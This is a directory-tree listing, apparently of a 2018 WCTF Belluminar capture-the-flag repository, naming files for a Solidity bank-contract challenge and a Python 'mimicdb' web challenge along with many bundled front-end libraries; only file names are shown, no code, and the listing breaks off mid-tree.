└── 2018 └── wctf-belluminar ├── README.md ├── belluminar18.pdf ├── belluminarbank ├── README.md ├── contract.bin ├── contract.hex ├── contract.sol ├── deploy.js ├── deploy.sh ├── exploit.js ├── genesis.json └── run.sh └── mimicdb ├── README.md ├── belluminar.sqlite3 ├── get_flag.py ├── procedure.sql ├── server ├── LICENSE ├── __init__.py ├── app.py ├── app.py.orig ├── bower.json ├── bower_components │ ├── App States │ │ ├── .bower.json │ │ ├── LICENSE │ │ ├── README.md │ │ ├── app-states.html │ │ ├── app-states.js │ │ ├── bower.json │ │ ├── core.js │ │ └── src │ │ │ ├── app-state.html │ │ │ ├── app-states-component.html │ │ │ ├── app-states.html │ │ │ ├── core.js │ │ │ ├── place-holder.html │ │ │ ├── states-template.html │ │ │ └── view-registry.html │ ├── bootstrap-social │ │ ├── .bower.json │ │ ├── .editorconfig │ │ ├── .gitignore │ │ ├── README.md │ │ ├── bootstrap-social.css │ │ ├── bootstrap-social.less │ │ ├── bootstrap-social.scss │ │ └── bower.json │ ├── bootstrap │ │ ├── .bower.json │ │ ├── CHANGELOG.md │ │ ├── Gemfile │ │ ├── Gemfile.lock │ │ ├── Gruntfile.js │ │ ├── ISSUE_TEMPLATE.md │ │ ├── LICENSE │ │ ├── README.md │ │ ├── bower.json │ │ ├── dist │ │ │ ├── css │ │ │ │ ├── bootstrap-theme.css │ │ │ │ ├── bootstrap-theme.css.map │ │ │ │ ├── bootstrap-theme.min.css │ │ │ │ ├── bootstrap-theme.min.css.map │ │ │ │ ├── bootstrap.css │ │ │ │ ├── bootstrap.css.map │ │ │ │ ├── bootstrap.min.css │ │ │ │ └── bootstrap.min.css.map │ │ │ ├── fonts │ │ │ │ ├── glyphicons-halflings-regular.eot │ │ │ │ ├── glyphicons-halflings-regular.svg │ │ │ │ ├── glyphicons-halflings-regular.ttf │ │ │ │ ├── glyphicons-halflings-regular.woff │ │ │ │ └── glyphicons-halflings-regular.woff2 │ │ │ └── js │ │ │ │ ├── bootstrap.js │ │ │ │ ├── bootstrap.min.js │ │ │ │ └── npm.js │ │ ├── fonts │ │ │ ├── glyphicons-halflings-regular.eot │ │ │ ├── glyphicons-halflings-regular.svg │ │ │ ├── glyphicons-halflings-regular.ttf │ │ │ ├── glyphicons-halflings-regular.woff │ │ │ └── glyphicons-halflings-regular.woff2 │ │ ├── grunt │ │ │ ├── .jshintrc │ │ │ ├── bs-commonjs-generator.js │ │ │ ├── bs-glyphicons-data-generator.js │ │ │ ├── bs-lessdoc-parser.js │ │ │ ├── bs-raw-files-generator.js │ │ │ ├── change-version.js │ │ │ ├── configBridge.json │ │ │ ├── npm-shrinkwrap.json │ │ │ └── sauce_browsers.yml │ │ ├── js │ │ │ ├── .jscsrc │ │ │ ├── .jshintrc │ │ │ ├── affix.js │ │ │ ├── alert.js │ │ │ ├── button.js │ │ │ ├── carousel.js │ │ │ ├── collapse.js │ │ │ ├── dropdown.js │ │ │ ├── modal.js │ │ │ ├── popover.js │ │ │ ├── scrollspy.js │ │ │ ├── tab.js │ │ │ ├── tooltip.js │ │ │ └── transition.js │ │ ├── less │ │ │ ├── .csscomb.json │ │ │ ├── .csslintrc │ │ │ ├── alerts.less │ │ │ ├── badges.less │ │ │ ├── bootstrap.less │ │ │ ├── breadcrumbs.less │ │ │ ├── button-groups.less │ │ │ ├── buttons.less │ │ │ ├── carousel.less │ │ │ ├── close.less │ │ │ ├── code.less │ │ │ ├── component-animations.less │ │ │ ├── dropdowns.less │ │ │ ├── forms.less │ │ │ ├── glyphicons.less │ │ │ ├── grid.less │ │ │ ├── input-groups.less │ │ │ ├── jumbotron.less │ │ │ ├── labels.less │ │ │ ├── list-group.less │ │ │ ├── media.less │ │ │ ├── mixins.less │ │ │ ├── mixins │ │ │ │ ├── alerts.less │ │ │ │ ├── background-variant.less │ │ │ │ ├── border-radius.less │ │ │ │ ├── buttons.less │ │ │ │ ├── center-block.less │ │ │ │ ├── clearfix.less │ │ │ │ ├── forms.less │ │ │ │ ├── gradients.less │ │ │ │ ├── grid-framework.less │ │ │ │ ├── grid.less │ │ │ │ ├── hide-text.less │ │ │ │ ├── image.less │ │ │ │ ├── labels.less │ │ │ │ ├── list-group.less │ │ │ │ ├── nav-divider.less │ │ │ │ ├── nav-vertical-align.less │ │ │ │ ├── opacity.less │ │ │ │ ├── pagination.less │ │ │ │ ├── panels.less │ │ │ │ ├── progress-bar.less │ │ │ │ ├── reset-filter.less │ │ │ │ ├── reset-text.less │ │ │ │ ├── resize.less │ │ │ │ ├── responsive-visibility.less │ │ │ │ ├── size.less │ │ │ │ ├── tab-focus.less │ │ │ │ ├── table-row.less │ │ │ │ ├── text-emphasis.less │ │ │ │ ├── text-overflow.less │ │ │ │ └── vendor-prefixes.less │ │ │ ├── modals.less │ │ │ ├── navbar.less │ │ │ ├── navs.less │ │ │ ├── normalize.less │ │ │ ├── pager.less │ │ │ ├── pagination.less │ │ │ ├── panels.less │ │ │ ├── popovers.less │ │ │ ├── print.less │ │ │ ├── progress-bars.less │ │ │ ├── responsive-embed.less │ │ │ ├── responsive-utilities.less │ │ │ ├── scaffolding.less │ │ │ ├── tables.less │ │ │ ├── theme.less │ │ │ ├── thumbnails.less │ │ │ ├── tooltip.less │ │ │ ├── type.less │ │ │ ├── utilities.less │ │ │ ├── variables.less │ │ │ └── wells.less │ │ ├── nuget │ │ │ ├── MyGet.ps1 │ │ │ ├── bootstrap.less.nuspec │ │ │ └── bootstrap.nuspec │ │ ├── package.js │ │ └── package.json │ ├── core-component-page │ │ ├── .bower.json │ │ ├── README.md │ │ ├── bowager-logo.png │ │ ├── bower.json │ │ ├── core-component-page.html │ │ ├── demo.html │ │ └── index.html │ ├── datatables-plugins │ │ ├── .bower.json │ │ ├── README.md │ │ ├── api │ │ │ ├── average().js │ │ │ ├── column().title().js │ │ │ ├── columns().order().js │ │ │ ├── fnAddDataAndDisplay.js │ │ │ ├── fnAddTr.js │ │ │ ├── fnColumnIndexToVisible.js │ │ │ ├── fnDataUpdate.js │ │ │ ├── fnDisplayRow.js │ │ │ ├── fnDisplayStart.js │ │ │ ├── fnFakeRowspan.js │ │ │ ├── fnFilterAll.js │ │ │ ├── fnFilterClear.js │ │ │ ├── fnFilterOnReturn.js │ │ │ ├── fnFindCellRowIndexes.js │ │ │ ├── fnFindCellRowNodes.js │ │ │ ├── fnGetAdjacentTr.js │ │ │ ├── fnGetColumnData.js │ │ │ ├── fnGetColumnIndex.js │ │ │ ├── fnGetHiddenNodes.js │ │ │ ├── fnGetTd.js │ │ │ ├── fnGetTds.js │ │ │ ├── fnLengthChange.js │ │ │ ├── fnMultiFilter.js │ │ │ ├── fnPagingInfo.js │ │ │ ├── fnProcessingIndicator.js │ │ │ ├── fnReloadAjax.js │ │ │ ├── fnSetFilteringDelay.js │ │ │ ├── fnSortNeutral.js │ │ │ ├── fnStandingRedraw.js │ │ │ ├── fnVisibleToColumnIndex.js │ │ │ ├── index.html │ │ │ ├── page.jumpToData().js │ │ │ └── sum().js │ │ ├── features │ │ │ ├── alphabetSearch │ │ │ │ ├── dataTables.alphabetSearch.css │ │ │ │ ├── dataTables.alphabetSearch.js │ │ │ │ └── dataTables.alphabetSearch.min.js │ │ │ ├── lengthLinks │ │ │ │ ├── dataTables.lengthLinks.css │ │ │ │ ├── dataTables.lengthLinks.js │ │ │ │ └── dataTables.lengthLinks.min.js │ │ │ └── searchHighlight │ │ │ │ ├── dataTables.searchHighlight.css │ │ │ │ ├── dataTables.searchHighlight.js │ │ │ │ └── dataTables.searchHighlight.min.js │ │ ├── filtering │ │ │ ├── index.html │ │ │ ├── row-based │ │ │ │ ├── TableTools.ShowSelectedOnly.js │ │ │ │ ├── range_dates.js │ │ │ │ └── range_numbers.js │ │ │ └── type-based │ │ │ │ ├── accent-neutralise.js │ │ │ │ ├── html.js │ │ │ │ └── phoneNumber.js │ │ ├── i18n │ │ │ ├── Afrikaans.lang │ │ │ ├── Albanian.lang │ │ │ ├── Arabic.lang │ │ │ ├── Azerbaijan.lang │ │ │ ├── Bangla.lang │ │ │ ├── Belarusian.lang │ │ │ ├── Bulgarian.lang │ │ │ ├── Catalan.lang │ │ │ ├── Chinese-traditional.lang │ │ │ ├── Chinese.lang │ │ │ ├── Croatian.lang │ │ │ ├── Czech.lang │ │ │ ├── Danish.lang │ │ │ ├── Dutch.lang │ │ │ ├── English.lang │ │ │ ├── Estonian.lang │ │ │ ├── Filipino.lang │ │ │ ├── Finnish.lang │ │ │ ├── French.lang │ │ │ ├── Galician.lang │ │ │ ├── Georgian.lang │ │ │ ├── German.lang │ │ │ ├── Greek.lang │ │ │ ├── Gujarati.lang │ │ │ ├── Hebrew.lang │ │ │ ├── Hindi.lang │ │ │ ├── Hungarian.lang │ │ │ ├── Icelandic.lang │ │ │ ├── Indonesian-Alternative.lang │ │ │ ├── Indonesian.lang │ │ │ ├── Irish.lang │ │ │ ├── Italian.lang │ │ │ ├── Japanese.lang │ │ │ ├── Korean.lang │ │ │ ├── Latvian.lang │ │ │ ├── Lithuanian.lang │ │ │ ├── Macedonian.lang │ │ │ ├── Malay.lang │ │ │ ├── Norwegian.lang │ │ │ ├── Persian.lang │ │ │ ├── Polish.lang │ │ │ ├── Portuguese-Brasil.lang │ │ │ ├── Portuguese.lang │ │ │ ├── Romanian.lang │ │ │ ├── Russian.lang │ │ │ ├── Serbian.lang │ │ │ ├── Slovak.lang │ │ │ ├── Slovenian.lang │ │ │ ├── Spanish.lang │ │ │ ├── Swahili.lang │ │ │ ├── Swedish.lang │ │ │ ├── Tamil.lang │ │ │ ├── Thai.lang │ │ │ ├── Turkish.lang │ │ │ ├── Ukranian.lang │ │ │ ├── Urdu.lang │ │ │ ├── Uzbek.lang │ │ │ ├── Vietnamese.lang │ │ │ └── index.html │ │ ├── integration │ │ │ ├── bootstrap │ │ │ │ ├── 1 │ │ │ │ │ ├── dataTables.bootstrap.css │ │ │ │ │ └── dataTables.bootstrap.js │ │ │ │ ├── 2 │ │ │ │ │ ├── dataTables.bootstrap.css │ │ │ │ │ ├── dataTables.bootstrap.js │ │ │ │ │ ├── dataTables.bootstrap.min.js │ │ │ │ │ └── index.html │ │ │ │ ├── 3 │ │ │ │ │ ├── dataTables.bootstrap.css │ │ │ │ │ ├── dataTables.bootstrap.js │ │ │ │ │ ├── dataTables.bootstrap.min.js │ │ │ │ │ └── index.html │ │ │ │ └── images │ │ │ │ │ ├── sort_asc.png │ │ │ │ │ ├── sort_asc_disabled.png │ │ │ │ │ ├── sort_both.png │ │ │ │ │ ├── sort_desc.png │ │ │ │ │ └── sort_desc_disabled.png │ │ │ ├── font-awesome │ │ │ │ ├── bootstrap.html │ │ │ │ ├── dataTables.fontAwesome.css │ │ │ │ ├── datatables.html │ │ │ │ └── foundation.html │ │ │ ├── foundation │ │ │ │ ├── dataTables.foundation.css │ │ │ │ ├── dataTables.foundation.js │ │ │ │ ├── dataTables.foundation.min.js │ │ │ │ ├── images │ │ │ │ │ ├── sort_asc.png │ │ │ │ │ ├── sort_asc_disabled.png │ │ │ │ │ ├── sort_both.png │ │ │ │ │ ├── sort_desc.png │ │ │ │ │ └── sort_desc_disabled.png │ │ │ │ └── index.html │ │ │ └── jqueryui │ │ │ │ ├── dataTables.jqueryui.css │ │ │ │ ├── dataTables.jqueryui.js │ │ │ │ ├── dataTables.jqueryui.min.js │ │ │ │ ├── dataTables.jqueryui.scss │ │ │ │ └── index.html │ │ ├── make.sh │ │ ├── pagination │ │ │ ├── ellipses.js │ │ │ ├── extjs.js │ │ │ ├── four_button.js │ │ │ ├── index.html │ │ │ ├── input.js │ │ │ ├── jPaginator │ │ │ │ └── dataTables.jPaginator.js │ │ │ ├── scrolling.js │ │ │ └── select.js │ │ ├── sorting │ │ │ ├── alt-string.js │ │ │ ├── anti-the.js │ │ │ ├── chinese-string.js │ │ │ ├── currency.js │ │ │ ├── custom-data-source │ │ │ │ ├── dom-checkbox.js │ │ │ │ ├── dom-select.js │ │ │ │ └── dom-text.js │ │ │ ├── date-dd-MMM-yyyy.js │ │ │ ├── date-de.js │ │ │ ├── date-eu.js │ │ │ ├── date-euro.js │ │ │ ├── date-uk.js │ │ │ ├── datetime-moment.js │ │ │ ├── datetime-us.js │ │ │ ├── enum.js │ │ │ ├── file-size.js │ │ │ ├── formatted-numbers.js │ │ │ ├── index.html │ │ │ ├── ip-address.js │ │ │ ├── monthYear.js │ │ │ ├── natural.js │ │ │ ├── num-html.js │ │ │ ├── numeric-comma.js │ │ │ ├── percent.js │ │ │ ├── persian.js │ │ │ ├── scientific.js │ │ │ ├── signed-num.js │ │ │ ├── stringMonthYear.js │ │ │ ├── time.js │ │ │ ├── title-numeric.js │ │ │ ├── title-string.js │ │ │ └── turkish-string.js │ │ └── type-detection │ │ │ ├── currency.js │ │ │ ├── date-uk.js │ │ │ ├── file-size.js │ │ │ ├── formatted-num.js │ │ │ ├── index.html │ │ │ ├── ip-address.js │ │ │ ├── num-html.js │ │ │ └── numeric-comma.js │ ├── datatables-responsive │ │ ├── .bower.json │ │ ├── .gitignore │ │ ├── License.txt │ │ ├── Readme.md │ │ ├── bower.json │ │ ├── css │ │ │ ├── responsive.bootstrap.scss │ │ │ ├── responsive.dataTables.scss │ │ │ ├── responsive.foundation.scss │ │ │ └── responsive.jqueryui.scss │ │ ├── docs │ │ │ ├── api │ │ │ │ ├── responsive.index().xml │ │ │ │ ├── responsive.rebuild().xml │ │ │ │ └── responsive.recalc().xml │ │ │ └── option │ │ │ │ ├── responsive.breakpoints.xml │ │ │ │ ├── responsive.details.renderer.xml │ │ │ │ ├── responsive.details.target.xml │ │ │ │ ├── responsive.details.type.xml │ │ │ │ ├── responsive.details.xml │ │ │ │ └── responsive.xml │ │ ├── examples │ │ │ ├── child-rows │ │ │ │ ├── column-control.xml │ │ │ │ ├── custom-renderer.xml │ │ │ │ ├── disable-child-rows.xml │ │ │ │ ├── index.xml │ │ │ │ ├── right-column.xml │ │ │ │ └── whole-row-control.xml │ │ │ ├── display-control │ │ │ │ ├── auto.xml │ │ │ │ ├── classes.xml │ │ │ │ ├── complexHeader.xml │ │ │ │ ├── fixedHeader.xml │ │ │ │ ├── index.xml │ │ │ │ └── init-classes.xml │ │ │ ├── index.xml │ │ │ ├── initialisation │ │ │ │ ├── ajax.xml │ │ │ │ ├── className.xml │ │ │ │ ├── default.xml │ │ │ │ ├── index.xml │ │ │ │ ├── new.xml │ │ │ │ └── option.xml │ │ │ └── styling │ │ │ │ ├── bootstrap.xml │ │ │ │ ├── compact.xml │ │ │ │ ├── foundation.xml │ │ │ │ ├── index.xml │ │ │ │ ├── jqueryui.xml │ │ │ │ └── scrolling.xml │ │ ├── js │ │ │ └── dataTables.responsive.js │ │ └── make.sh │ ├── datatables │ │ ├── .bower.json │ │ ├── Contributing.md │ │ ├── ISSUE_TEMPLATE.md │ │ ├── Readme.md │ │ ├── bower.json │ │ ├── license.txt │ │ └── media │ │ │ ├── css │ │ │ ├── dataTables.bootstrap.css │ │ │ ├── dataTables.bootstrap.min.css │ │ │ ├── dataTables.bootstrap4.css │ │ │ ├── dataTables.bootstrap4.min.css │ │ │ ├── dataTables.foundation.css │ │ │ ├── dataTables.foundation.min.css │ │ │ ├── dataTables.jqueryui.css │ │ │ ├── dataTables.jqueryui.min.css │ │ │ ├── dataTables.material.css │ │ │ ├── dataTables.material.min.css │ │ │ ├── dataTables.semanticui.css │ │ │ ├── dataTables.semanticui.min.css │ │ │ ├── dataTables.uikit.css │ │ │ ├── dataTables.uikit.min.css │ │ │ ├── jquery.dataTables.css │ │ │ ├── jquery.dataTables.min.css │ │ │ └── jquery.dataTables_themeroller.css │ │ │ ├── images │ │ │ ├── Sorting icons.psd │ │ │ ├── favicon.ico │ │ │ ├── sort_asc.png │ │ │ ├── sort_asc_disabled.png │ │ │ ├── sort_both.png │ │ │ ├── sort_desc.png │ │ │ └── sort_desc_disabled.png │ │ │ └── js │ │ │ ├── dataTables.bootstrap.js │ │ │ ├── dataTables.bootstrap.min.js │ │ │ ├── dataTables.bootstrap4.js │ │ │ ├── dataTables.bootstrap4.min.js │ │ │ ├── dataTables.foundation.js │ │ │ ├── dataTables.foundation.min.js │ │ │ ├── dataTables.jqueryui.js │ │ │ ├── dataTables.jqueryui.min.js │ │ │ ├── dataTables.material.js │ │ │ ├── dataTables.material.min.js │ │ │ ├── dataTables.semanticui.js │ │ │ ├── dataTables.semanticui.min.js │ │ │ ├── dataTables.uikit.js │ │ │ ├── dataTables.uikit.min.js │ │ │ ├── jquery.dataTables.js │ │ │ ├── jquery.dataTables.min.js │ │ │ └── jquery.js │ ├── eve-raphael │ │ ├── .bower.json │ │ ├── LICENSE │ │ ├── README.md │ │ ├── bower.json │ │ ├── component.json │ │ ├── e.html │ │ ├── eve.js │ │ └── package.json │ ├── flot.tooltip │ │ ├── .bower.json │ │ ├── bower.json │ │ └── js │ │ │ ├── jquery.flot.tooltip.js │ │ │ ├── jquery.flot.tooltip.min.js │ │ │ └── jquery.flot.tooltip.source.js │ ├── flot │ │ ├── .bower.json │ │ ├── .gitignore │ │ ├── .travis.yml │ │ ├── API.md │ │ ├── CONTRIBUTING.md │ │ ├── FAQ.md │ │ ├── LICENSE.txt │ │ ├── Makefile │ │ ├── NEWS.md │ │ ├── PLUGINS.md │ │ ├── README.md │ │ ├── component.json │ │ ├── examples │ │ │ ├── ajax │ │ │ │ ├── data-eu-gdp-growth-1.json │ │ │ │ ├── data-eu-gdp-growth-2.json │ │ │ │ ├── data-eu-gdp-growth-3.json │ │ │ │ ├── data-eu-gdp-growth-4.json │ │ │ │ ├── data-eu-gdp-growth-5.json │ │ │ │ ├── data-eu-gdp-growth.json │ │ │ │ ├── data-japan-gdp-growth.json │ │ │ │ ├── data-usa-gdp-growth.json │ │ │ │ └── index.html │ │ │ ├── annotating │ │ │ │ └── index.html │ │ │ ├── axes-interacting │ │ │ │ └── index.html │ │ │ ├── axes-multiple │ │ │ │ └── index.html │ │ │ ├── axes-time-zones │ │ │ │ ├── date.js │ │ │ │ ├── index.html │ │ │ │ └── tz │ │ │ │ │ ├── africa │ │ │ │ │ ├── antarctica │ │ │ │ │ ├── asia │ │ │ │ │ ├── australasia │ │ │ │ │ ├── backward │ │ │ │ │ ├── etcetera │ │ │ │ │ ├── europe │ │ │ │ │ ├── factory │ │ │ │ │ ├── iso3166.tab │ │ │ │ │ ├── leapseconds │ │ │ │ │ ├── northamerica │ │ │ │ │ ├── pacificnew │ │ │ │ │ ├── solar87 │ │ │ │ │ ├── solar88 │ │ │ │ │ ├── solar89 │ │ │ │ │ ├── southamerica │ │ │ │ │ ├── systemv │ │ │ │ │ ├── yearistype.sh │ │ │ │ │ └── zone.tab │ │ │ ├── axes-time │ │ │ │ └── index.html │ │ │ ├── background.png │ │ │ ├── basic-options │ │ │ │ └── index.html │ │ │ ├── basic-usage │ │ │ │ └── index.html │ │ │ ├── canvas │ │ │ │ └── index.html │ │ │ ├── categories │ │ │ │ └── index.html │ │ │ ├── examples.css │ │ │ ├── image │ │ │ │ ├── hs-2004-27-a-large-web.jpg │ │ │ │ └── index.html │ │ │ ├── index.html │ │ │ ├── interacting │ │ │ │ └── index.html │ │ │ ├── navigate │ │ │ │ ├── arrow-down.gif │ │ │ │ ├── arrow-left.gif │ │ │ │ ├── arrow-right.gif │ │ │ │ ├── arrow-up.gif │ │ │ │ └── index.html │ │ │ ├── percentiles │ │ │ │ └── index.html │ │ │ ├── realtime │ │ │ │ └── index.html │ │ │ ├── resize │ │ │ │ └── index.html │ │ │ ├── selection │ │ │ │ └── index.html │ │ │ ├── series-errorbars │ │ │ │ └── index.html │ │ │ ├── series-pie │ │ │ │ └── index.html │ │ │ ├── series-toggle │ │ │ │ └── index.html │ │ │ ├── series-types │ │ │ │ └── index.html │ │ │ ├── shared │ │ │ │ └── jquery-ui │ │ │ │ │ └── jquery-ui.min.css │ │ │ ├── stacking │ │ │ │ └── index.html │ │ │ ├── symbols │ │ │ │ └── index.html │ │ │ ├── threshold │ │ │ │ └── index.html │ │ │ ├── tracking │ │ │ │ └── index.html │ │ │ ├── visitors │ │ │ │ └── index.html │ │ │ └── zooming │ │ │ │ └── index.html │ │ ├── excanvas.js │ │ ├── excanvas.min.js │ │ ├── flot.jquery.json │ │ ├── jquery.colorhelpers.js │ │ ├── jquery.flot.canvas.js │ │ ├── jquery.flot.categories.js │ │ ├── jquery.flot.crosshair.js │ │ ├── jquery.flot.errorbars.js │ │ ├── jquery.flot.fillbetween.js │ │ ├── jquery.flot.image.js │ │ ├── jquery.flot.js │ │ ├── jquery.flot.navigate.js │ │ ├── jquery.flot.pie.js │ │ ├── jquery.flot.resize.js │ │ ├── jquery.flot.selection.js │ │ ├── jquery.flot.stack.js │ │ ├── jquery.flot.symbol.js │ │ ├── jquery.flot.threshold.js │ │ ├── jquery.flot.time.js │ │ ├── jquery.js │ │ └── package.json │ ├── font-awesome │ │ ├── .bower.json │ │ ├── .gitignore │ │ ├── .npmignore │ │ ├── bower.json │ │ ├── css │ │ │ ├── font-awesome.css │ │ │ └── font-awesome.min.css │ │ ├── fonts │ │ │ ├── FontAwesome.otf │ │ │ ├── fontawesome-webfont.eot │ │ │ ├── fontawesome-webfont.svg │ │ │ ├── fontawesome-webfont.ttf │ │ │ └── fontawesome-webfont.woff │ │ ├── less │ │ │ ├── bordered-pulled.less │ │ │ ├── core.less │ │ │ ├── extras.less │ │ │ ├── fixed-width.less │ │ │ ├── font-awesome.less │ │ │ ├── icons.less │ │ │ ├── larger.less │ │ │ ├── list.less │ │ │ ├── mixins.less │ │ │ ├── path.less │ │ │ ├── rotated-flipped.less │ │ │ ├── spinning.less │ │ │ ├── stacked.less │ │ │ └── variables.less │ │ └── scss │ │ │ ├── _bordered-pulled.scss │ │ │ ├── _core.scss │ │ │ ├── _extras.scss │ │ │ ├── _fixed-width.scss │ │ │ ├── _icons.scss │ │ │ ├── _larger.scss │ │ │ ├── _list.scss │ │ │ ├── _mixins.scss │ │ │ ├── _path.scss │ │ │ ├── _rotated-flipped.scss │ │ │ ├── _spinning.scss │ │ │ ├── _stacked.scss │ │ │ ├── _variables.scss │ │ │ └── font-awesome.scss │ ├── holderjs │ │ ├── .bower.json │ │ ├── .gitattributes │ │ ├── .gitignore │ │ ├── .jshintrc │ │ ├── README.md │ │ ├── bower.json │ │ ├── composer.json │ │ ├── gulpfile.js │ │ ├── holder.js │ │ ├── package.json │ │ ├── src │ │ │ ├── augment.js │ │ │ ├── holder.js │ │ │ ├── ondomready.js │ │ │ └── polyfills.js │ │ └── test │ │ │ ├── .gitignore │ │ │ ├── image.jpg │ │ │ └── index.html │ ├── jquery │ │ ├── .bower.json │ │ ├── AUTHORS.txt │ │ ├── LICENSE.txt │ │ ├── README.md │ │ ├── bower.json │ │ ├── dist │ │ │ ├── core.js │ │ │ ├── jquery.js │ │ │ ├── jquery.min.js │ │ │ ├── jquery.min.map │ │ │ ├── jquery.slim.js │ │ │ ├── jquery.slim.min.js │ │ │ └── jquery.slim.min.map │ │ ├── external │ │ │ └── sizzle │ │ │ │ ├── LICENSE.txt │ │ │ │ └── dist │ │ │ │ ├── sizzle.js │ │ │ │ ├── sizzle.min.js │ │ │ │ └── sizzle.min.map │ │ └── src │ │ │ ├── .eslintrc.json │ │ │ ├── ajax.js │ │ │ ├── ajax │ │ │ ├── jsonp.js │ │ │ ├── load.js │ │ │ ├── parseXML.js │ │ │ ├── script.js │ │ │ ├── var │ │ │ │ ├── location.js │ │ │ │ ├── nonce.js │ │ │ │ └── rquery.js │ │ │ └── xhr.js │ │ │ ├── attributes.js │ │ │ ├── attributes │ │ │ ├── attr.js │ │ │ ├── classes.js │ │ │ ├── prop.js │ │ │ ├── support.js │ │ │ └── val.js │ │ │ ├── callbacks.js │ │ │ ├── core.js │ │ │ ├── core │ │ │ ├── DOMEval.js │ │ │ ├── access.js │ │ │ ├── init.js │ │ │ ├── parseHTML.js │ │ │ ├── ready-no-deferred.js │ │ │ ├── ready.js │ │ │ ├── readyException.js │ │ │ ├── stripAndCollapse.js │ │ │ ├── support.js │ │ │ └── var │ │ │ │ └── rsingleTag.js │ │ │ ├── css.js │ │ │ ├── css │ │ │ ├── addGetHookIf.js │ │ │ ├── adjustCSS.js │ │ │ ├── curCSS.js │ │ │ ├── hiddenVisibleSelectors.js │ │ │ ├── showHide.js │ │ │ ├── support.js │ │ │ └── var │ │ │ │ ├── cssExpand.js │ │ │ │ ├── getStyles.js │ │ │ │ ├── isHiddenWithinTree.js │ │ │ │ ├── rmargin.js │ │ │ │ ├── rnumnonpx.js │ │ │ │ └── swap.js │ │ │ ├── data.js │ │ │ ├── data │ │ │ ├── Data.js │ │ │ └── var │ │ │ │ ├── acceptData.js │ │ │ │ ├── dataPriv.js │ │ │ │ └── dataUser.js │ │ │ ├── deferred.js │ │ │ ├── deferred │ │ │ └── exceptionHook.js │ │ │ ├── deprecated.js │ │ │ ├── dimensions.js │ │ │ ├── effects.js │ │ │ ├── effects │ │ │ ├── Tween.js │ │ │ └── animatedSelector.js │ │ │ ├── event.js │ │ │ ├── event │ │ │ ├── ajax.js │ │ │ ├── alias.js │ │ │ ├── focusin.js │ │ │ ├── support.js │ │ │ └── trigger.js │ │ │ ├── exports │ │ │ ├── amd.js │ │ │ └── global.js │ │ │ ├── jquery.js │ │ │ ├── manipulation.js │ │ │ ├── manipulation │ │ │ ├── _evalUrl.js │ │ │ ├── buildFragment.js │ │ │ ├── getAll.js │ │ │ ├── setGlobalEval.js │ │ │ ├── support.js │ │ │ ├── var │ │ │ │ ├── rcheckableType.js │ │ │ │ ├── rscriptType.js │ │ │ │ └── rtagName.js │ │ │ └── wrapMap.js │ │ │ ├── offset.js │ │ │ ├── queue.js │ │ │ ├── queue │ │ │ └── delay.js │ │ │ ├── selector-native.js │ │ │ ├── selector-sizzle.js │ │ │ ├── selector.js │ │ │ ├── serialize.js │ │ │ ├── traversing.js │ │ │ ├── traversing │ │ │ ├── findFilter.js │ │ │ └── var │ │ │ │ ├── dir.js │ │ │ │ ├── rneedsContext.js │ │ │ │ └── siblings.js │ │ │ ├── var │ │ │ ├── ObjectFunctionString.js │ │ │ ├── arr.js │ │ │ ├── class2type.js │ │ │ ├── concat.js │ │ │ ├── document.js │ │ │ ├── documentElement.js │ │ │ ├── fnToString.js │ │ │ ├── getProto.js │ │ │ ├── hasOwn.js │ │ │ ├── indexOf.js │ │ │ ├── pnum.js │ │ │ ├── push.js │ │ │ ├── rcssNum.js │ │ │ ├── rnothtmlwhite.js │ │ │ ├── slice.js │ │ │ ├── support.js │ │ │ └── toString.js │ │ │ └── wrap.js │ ├── metisMenu │ │ ├── .bower.json │ │ ├── Gruntfile.js │ │ ├── LICENSE │ │ ├── README.md │ │ ├── bower.json │ │ ├── dist │ │ │ ├── metisMenu.css │ │ │ ├── metisMenu.js │ │ │ ├── metisMenu.min.css │ │ │ └── metisMenu.min.js │ │ ├── package.json │ │ └── src │ │ │ ├── metisMenu.css │ │ │ └── metisMenu.js │ ├── mocha │ │ ├── .bower.json │ │ ├── History.md │ │ ├── LICENSE │ │ ├── Readme.md │ │ ├── bower.json │ │ ├── media │ │ │ └── logo.svg │ │ ├── mocha.css │ │ └── mocha.js │ ├── morrisjs │ │ ├── .bower.json │ │ ├── .gitignore │ │ ├── .travis.yml │ │ ├── Gruntfile.js │ │ ├── README.md │ │ ├── bower.json │ │ ├── bower.travis.json │ │ ├── examples │ │ │ ├── _template.html │ │ │ ├── area-as-line.html │ │ │ ├── area.html │ │ │ ├── bar-colors.html │ │ │ ├── bar-no-axes.html │ │ │ ├── bar.html │ │ │ ├── days.html │ │ │ ├── decimal-custom-hover.html │ │ │ ├── diagonal-xlabels-bar.html │ │ │ ├── diagonal-xlabels.html │ │ │ ├── donut-colors.html │ │ │ ├── donut-formatter.html │ │ │ ├── donut.html │ │ │ ├── dst.html │ │ │ ├── events.html │ │ │ ├── goals.html │ │ │ ├── lib │ │ │ │ ├── example.css │ │ │ │ └── example.js │ │ │ ├── months-no-smooth.html │ │ │ ├── negative.html │ │ │ ├── no-grid.html │ │ │ ├── non-continuous.html │ │ │ ├── non-date.html │ │ │ ├── quarters.html │ │ │ ├── resize.html │ │ │ ├── stacked_bars.html │ │ │ ├── timestamps.html │ │ │ ├── updating.html │ │ │ ├── weeks.html │ │ │ └── years.html │ │ ├── less │ │ │ └── morris.core.less │ │ ├── lib │ │ │ ├── morris.area.coffee │ │ │ ├── morris.bar.coffee │ │ │ ├── morris.coffee │ │ │ ├── morris.donut.coffee │ │ │ ├── morris.grid.coffee │ │ │ ├── morris.hover.coffee │ │ │ └── morris.line.coffee │ │ ├── morris.css │ │ ├── morris.js │ │ ├── morris.min.js │ │ ├── package.json │ │ └── spec │ │ │ ├── lib │ │ │ ├── area │ │ │ │ └── area_spec.coffee │ │ │ ├── bar │ │ │ │ ├── bar_spec.coffee │ │ │ │ └── colours.coffee │ │ │ ├── commas_spec.coffee │ │ │ ├── donut │ │ │ │ └── donut_spec.coffee │ │ │ ├── grid │ │ │ │ ├── auto_grid_lines_spec.coffee │ │ │ │ ├── set_data_spec.coffee │ │ │ │ └── y_label_format_spec.coffee │ │ │ ├── hover_spec.coffee │ │ │ ├── label_series_spec.coffee │ │ │ ├── line │ │ │ │ └── line_spec.coffee │ │ │ ├── pad_spec.coffee │ │ │ └── parse_time_spec.coffee │ │ │ ├── specs.html │ │ │ ├── support │ │ │ └── placeholder.coffee │ │ │ └── viz │ │ │ ├── examples.js │ │ │ ├── exemplary │ │ │ ├── area0.png │ │ │ ├── bar0.png │ │ │ ├── line0.png │ │ │ └── stacked_bar0.png │ │ │ ├── run.sh │ │ │ ├── test.html │ │ │ └── 